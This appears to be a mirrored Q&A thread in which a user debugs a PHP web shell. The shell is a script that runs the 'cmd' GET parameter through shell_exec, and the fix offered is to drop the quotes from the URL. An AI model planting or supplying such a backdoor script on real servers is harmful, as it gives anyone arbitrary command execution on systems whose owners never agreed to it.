【问题标题】:Reverse shell PHP with GET parameters使用 GET 参数反转 shell PHP
【发布时间】:2021-10-11 04:33:03
【问题描述】:

我正在使用一个简单的反向 shell php 脚本:

$res = shell_exec($_GET['cmd']));
var_dump($res);

但是使用空格的命令不起作用:

shell.php?cmd="ls" works
shell.php?cmd="ls -lh" not working
shell.php?cmd="ls%20-lh" not working

我从我的 httpd 服务器检查了 error.log,显示的错误非常错误:

sh: ls -lh: command not found

我猜这可能是由于 $_GET 接收到的字符串的编码,但我不知道如何解决这个问题。

【问题讨论】:

  • 我不确定这是否有帮助...但是如果您删除引号,您会遇到同样的问题吗? IE。 shell.php?cmd=ls -lh
  • 哇!没有引号它可以完美地工作!谢谢!

标签: php shell get apache2 reverse


【解决方案1】:
shell.php?cmd=ls -lh 

当你不需要引号时为什么要担心它们^^

感谢@Gowire

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2011-12-09
    • 2012-12-20
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多